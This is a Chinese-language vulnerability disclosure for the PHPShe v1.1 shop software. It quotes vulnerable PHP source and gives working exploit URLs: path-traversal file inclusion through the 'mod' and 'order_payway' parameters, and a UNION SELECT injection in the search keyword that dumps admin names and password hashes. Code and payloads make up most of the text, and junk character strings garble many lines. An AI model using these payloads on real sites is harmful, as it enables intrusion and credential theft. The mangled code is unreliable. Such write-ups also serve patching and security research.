phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
. ]* g, [( W' `; b* k5 r/* Phpshe v1.1 Vulnerability
( H5 |) o3 G9 P0 y: B3 ?/ G! o2 L0 y/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
% `  M; K) c' ?5 o( ^: M9 @1 w/*******************************************************/
- h* e! o% O/ m- c0×00 整体大概参数传输
* o$ O/ B& B2 t& L3 w: [/ _

. q- ^; V0 V, `4 e- ?
//common.php
if (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
; K) s! M" `/ _( [! f!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
8 m$ p8 |& B7 R. R% f!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
" r$ D' @, q+ D6 ?2 I!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
}
session_start();
: Z4 Y+ A" m6 q0 p1 j. m- C' U!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
3 s! C# r+ i7 V2 k% h! }' c7 _!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞


! O6 m5 t: D3 Q! w' Z% y//首页文件
% }2 X0 M2 w8 r2 d<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
  B6 Y4 h' n5 @) ?include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
6 H1 d! ^6 B# s; y3 wurl路由配置
$module = $mod = $act = 'index';
9 w! b& g( i! l* r8 h/ G$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
' w3 }; L( k6 p, V) g$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
; {3 B% R9 D) q% @//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

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0×02 搜索注入

<code id="code2">

//product.php文件
  o7 q) U8 |: jcase 'list':
& C% c+ C! G; v, E& h1 [; y$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
/ l( Y6 T5 w/ R0 r8 q$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
2 Z/ y" O1 V0 \4 e! Q; X4 Lif ($category_id) {
" G0 C& t* `9 j7 V; j: Ywhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
, q+ c; S7 g. b/ O7 wif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
2 k! S' ^3 ~) \7 x, z. y- t5 M$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
9 `) i* o& s: c}
else {
. I, g3 t2 d9 o& h5 C$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 P8 O3 _, W' o//热卖排行
. A. B, }5 r0 c2 L9 X$product_hotlist = product_hotlist();
//当前路径
. ^1 a2 {% ^3 E7 G+ _" z$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
/ p/ K, `2 U8 O9 Xinclude(pe_tpl('product_list.html'));
//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
9 D& X3 m" z/ {0 @5 c//处理条件语句
$sqlwhere = $this->_dowhere($where);
5 P* t# \6 ]& X- a+ n0 I6 ~4 Z+ Kreturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
& J/ o* P' c1 q0 D0 [  k3 t}
//exp
$ m4 W0 w; e! q/ {product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
! [6 k  _; X: Z: r9 N& I: R

</code>

0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

3 c5 d* G7 g* ]$ Y/ f, N  x$cache_payway = cache::get('payway');

/ X5 O% M8 `+ }; I, T- oforeach($cache_payway as $k => $v) {

, h8 r% X8 ^  ?$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

8 q9 L2 T$ q0 G6 j2 a5 @# S7 w7 jif ($k == 'bank') {

7 N. l# K2 V8 |/ p$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

- ?2 `/ z) S& i' `}

4 ?! t/ y3 E- |, |# Z" Y8 u}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

7 m, v3 w6 s! f; L7 f6 c6 F* `if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

* R% C. c' c3 J/ K( C& p: |+ a* A1 T}

echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

- D8 f5 c8 M$ q  |7 _pe_error('支付错误...');

/ I4 S1 w" L, H+ R& E& T/ k}

}

5 J% w1 _4 v% e7 i$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>